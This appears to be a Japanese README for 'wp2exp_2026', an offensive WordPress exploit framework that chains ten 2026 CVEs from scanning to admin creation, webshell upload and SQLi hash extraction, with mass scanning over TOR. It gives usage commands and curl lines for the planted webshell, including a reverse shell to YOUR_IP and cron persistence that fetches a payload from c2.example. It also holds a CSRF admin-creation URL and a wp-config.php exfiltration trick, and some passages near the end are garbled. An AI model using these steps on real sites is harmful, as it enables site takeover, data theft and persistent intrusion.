
WordPress All-in-One Exploit Framework — 検出、スキャナー、列挙、エクスプロイト、権限昇格。2026-08 の波から10件のCVE(CVE-2026-63030(wp2shell)を含む)。
WordPressオールインワンエクスプロイトフレームワーク — 検出・スキャナ・列挙・エクスプロイト・権限昇格
wp2exp_2026 は、実戦で鍛え上げられた wp2shell フレームワークの後継としてリブランドされたツールです。オリジナルの wp2shell チェッカー/エクスプロイトチェーン、3つの公開 CVE-2026-63030 PoC キット(Ch4120N、shinthink、SentinelX)、および NVD / GitHub Advisories / CISA KEV から TOR ダークウェブインテルパイプラインを通じて収集した 2026年8月の WordPress CVE ウェーブを1つのスクリプトに統合しています。ターゲットを受動的フィンガープリンティングから検証済みウェブシェル取得まで一気通貫で処理します。
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ 認可されたテストのみ。
scanモードは非破壊です。エクスプロイトモードは明示的に--modeを要求します。すべてのターゲットに対して書面による許可を得ているのはあなた自身の責任です。
# クローン
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# 依存関係: Python 3.8+ 標準ライブラリのみ。
# オプション: SOCKS5/TOR プロキシ用の PySocks
pip install pysocks
APIキー不要、データベース不要、コンパイル不要。
# 1. 単一ターゲットの安全なスキャン(検出 + スキャナ + 列挙)
python3 wp2exp_2026.py https://target.com
# 2. 同じスキャンに加えてエクスプロイトを実行(管理者作成 + コンテンツダンプ)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. 検証済みウェブシェルまでの完全チェーン
python3 wp2exp_2026.py https://target.com --mode shell
# 4. ターゲット一覧ファイルに対するマススキャン
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. TOR 経由の匿名スキャン
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
scan — 検出 + スキャナ + 列挙(安全)非破壊。あらゆるターゲットに対して最初にこれを使用してください。
実行内容(順序どおり):
例:
python3 wp2exp_2026.py https://example.com
# 出力: バージョン、WAF、XMLRPC、ユーザー、プラグインバージョン、CVEごとの判定
exploit — スキャン + エクスプロイトscan のすべてに加えて:
例:
# スキャン + 管理者作成 + Mapster 経由で 200 件の投稿IDをダンプ
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — 環境セルフチェックスキャン前にランタイムを検証: Python ≥3.8、PySocks の利用可否(SOCKS5/TOR)、プロキシ到達性(--proxy 設定時)、CVEマトリックスの整合性、バージョンパーサーの正確性。
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — ウェブシェルまでの完全チェーンexploit のすべてに加えて 権限昇格: 管理者作成が成功すると、スクリプトは:
wp-login.php にログイン(クッキージャー)_wpnonce + アクティブテーマを抽出 → admin-ajax.php?action=edit-theme-plugin-file 経由でウェブシェルを書き込みupdate.php?action=upload-plugin でアップロードして有効化id を実行して検証 — ライブのコマンド出力を表示ウェブシェルの種類(--shell):
例:
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
成功後の手動シェル使用法:
# コマンド実行(mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# フルシェル — ファイルアップロード
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# フルシェル — リバースシェル(リスナー: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# フルシェル — cron 永続化(C2 から curl を sh にパイプ)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — ルートは認証ミドルウェアなしで登録されます。トークンは相対パスの生の base64 です(偽造可能)。修正版では署名付き UploadFileToken を使用します。reauth_for_authorize は /mcp/v1/oauth/authorize を REQUEST_URI(クエリ文字列を含む)に対する部分文字列テストで照合していました。任意のRESTリクエストに &x=/mcp/v1/oauth/authorize を追加すると、クッキーユーザーの完全なIDが復元されます。典型的なCSRF: 細工されたURLに管理者がアクセスすると攻撃者アカウントが作成されます。
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true を設定 → CF7 送信に nonce が不要になります。../../../../wp-config.php を含むファイルフィールドを送信すると、統合アクション(webhook/メール)がファイルを外部に送信します。insert_record() は攻撃者が操作したファイル を保存し、その後 が /許可リスト検証なしで を呼び出します。このスクリプトは TOR ダークウェブインテルパイプライン(NVD の新着CVEスクレイピング、GitHub Advisories、CISA KEV)が収集したインテリジェンスから構築されており、匿名スキャンをサポートします:
# TOR経由のスキャン(9050 で tor デーモンが必要)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# 出口ノードを検証
#(スクリプトの Http レイヤーは TOR 経由ルーティング時に IsTor:true を報告します)
検証済みの動作: プロキシ配管は check.torproject.org/api/ip に対して確認済み — 出口 192.42.116.45 経由で {"IsTor":true} を返します。
# コンソール: 段階ごとの色付き判定 + 最終サマリーテーブル
# JSONレポートをファイルに出力(証拠として常に生のレスポンスを含む)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# 完全なJSONをstdoutに出力して jq / 自作ツールにパイプ
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
レポート構造:
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
エミュレートされた脆弱な WordPress ラボ環境に対して 2026-08-04 に検証済み — QAバッテリー: 32/32 チェック成功(全モード、JSON純度、複数ターゲット、ベアホスト正規化、mapster 下書き/非公開漏洩、DBバージョン + 管理者ハッシュのSQLi抽出、完全シェルチェーン):
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit モードに SQLi 自動抽出(ユニオンエンジン)を統合(--sqli-info)--verify 環境セルフチェックdarkweb_intel.py の出力から CVE マトリックスを自動更新PR歓迎です。ペイロードはデフォルトで非破壊に保ってください。
MIT。認可されたエンゲージメントのみ。 所有していない、または書面によるテスト許可を得ていない資産に対して --mode exploit / --mode shell を実行しないでください。作者は誤用について責任を負いません。
| 引数 | デフォルト | 説明 |
|---|
targets | — | 1つ以上のベースURL(https://site.com またはベア site.com) |
-f, --file | — | 1行に1ターゲットを記載したファイル(# コメント可) |
--mode | scan | scan = 検出のみ · exploit = スキャン + エクスプロイト · shell = スキャン + エクスプロイト + ウェブシェル |
--shell | mini | ウェブシェルの種類: mini(ワンライナー実行)または full(ファイル管理 / ダウンロード / リバースシェル / cron永続化) |
--mapster-dump | 0 | CVE-2026-14839 経由で N 件の投稿IDをダンプ(0 = 無効) |
--sqli-info | オフ | SQLi 経由で db_version / siteurl / 管理者パスワードハッシュ / テーブルプレフィックスを抽出(CVE-2026-60137) |
--verify | オフ | 環境セルフチェック(python、PySocks、プロキシ到達性、CVEマトリックス、バージョンパーサー)を実行して終了 |
--proxy | — | HTTPプロキシまたはSOCKS5: socks5h://127.0.0.1:9050(TOR) |
--timeout | 15 | リクエストあたりのタイムアウト(秒) |
--threads | 5 | 並列ターゲット数(複数ターゲット / -f の場合のみ使用) |
--json | — | 機械可読なJSONレポートをstdoutに出力 |
-o, --output | — | 完全なJSONレポートをファイルに書き出し |
| # | 段階 | チェック |
|---|
| 1 | フィンガープリント | /feed/ のジェネレーター、/readme.html、メタジェネレーター、REST API ジェネレーターから WordPress バージョンを取得 — バージョンが wp2shell 脆弱範囲(6.9.0–6.9.4、7.0.0–7.0.1)に該当する場合にフラグ |
| 2 | WAF検出 | ヘッダー + ボディマーカーから Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 を検出 |
| 3 | XMLRPC | system.listMethods プローブ → マルチコールブルートフォースと pingback SSRF の攻撃面をフラグ |
| 4 | ユーザー列挙 | REST /wp-json/wp/v2/users + ?rest_route= フォールバック + 著者アーカイブ(?author=N) |
| 5 | プラグイン列挙 | 追跡対象の全8プラグインについて readme.txt の Stable tag — CVEマトリックスに対する脆弱バージョンをフラグ |
| 6 | wp2shell プローブ | 安全なバッチデシンクプローブ(CVE-2026-63030)— 不正なプライマー + 無害な DELETE を存在しないカテゴリに送信し、ハンドラーハイジャックマーカー(parse_path_failed、block_cannot_read、rest_batch_not_allowed)を探す |
| 7 | CVEチェック | 全10 CVE に対するライブ動作プローブ + バージョンチェック(下記の表を参照) |
| エクスプロイト | 条件 | 動作 |
|---|
| 事前認証の管理者作成 | wp2shell VULNERABLE | 試行1: バッチルート混乱ペイロードで POST /wp/v2/users に roles:["administrator"] を送信。試行2(フォールバック): SQLi oEmbed キャッシュポイズニングチェーン(shinthink)— customize_changeset をユニオンインジェクションして oEmbed キャッシュを乗っ取り、管理者を作成。成功時に username / password を表示 |
| SQLi 情報抽出 | --sqli-info | エラーベース/ユニオンベース抽出(CVE-2026-60137): db_version、siteurl、最初の管理者の user_pass ハッシュ、テーブルプレフィックス |
| Mapster コンテンツダンプ | --mapster-dump N | /wp-json/mapster-wp-maps/feature?id=N 経由で投稿ID 1..N を列挙し、下書き / 保留中 / 非公開 / ゴミ箱 の投稿タイトル + 全文を収集(CVE-2026-14839) |
| 種類 | 機能 |
|---|
mini | ?k=KEY&c=COMMAND → プレーンテキストのコマンド出力 |
full | a=cmd 実行 · a=upload ファイル書き込み(b64) · a=download ファイル読み取り · a=rev リバースシェル(h=HOST&p=PORT) · a=persist crontab 永続化(u=URL) · デフォルト phpinfo() |
| CVE | 対象 | CVSS | 分類 | 検出 | エクスプロイト |
|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | REST バッチルート混乱 → RCE | ✅ デシンクマーカープローブ | ✅ 管理者作成 + シェル |
| CVE-2026-60137 | WP Core(同範囲) | 5.9 | author__not_in SQLi | ✅ バージョン + マーカー | ✅ 63030 チェーン経由 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | 未認証の任意ファイル削除 | ✅ ライブDELETEプローブ | ✅ 偽造可能なb64 file_token |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | 未認証SQLi(リスト検索) | ✅ エラー漏洩プローブ | ⚠️ 手動(ブラインド) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | 権限昇格 _wps_plan_user_role | ✅ バージョン | ✅ チェーン手順書 |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → 管理者作成 | ✅ ネームスペースプローブ | ✅ PoC URLジェネレーター |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | 認証済みの任意ファイル削除 | ✅ バージョン | ✅ チェーン手順書 |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | 未認証トラバーサル(CF7 nonceバイパス) | ✅ バージョン | ✅ チェーン手順書 |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | 未認証の非公開/下書き投稿ダンプ | ✅ ライブプローブ | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | 未認証の保存型XSS | ✅ バージョン | ✅ チェーン手順書 |
locationdelete_file()realpath()unlink($file)save_meta_boxes() は $_POST から _wps_plan_user_role を永続化します。sanitize_key() + is_role() のみが適用されますが、両方とも administrator を受け入れます。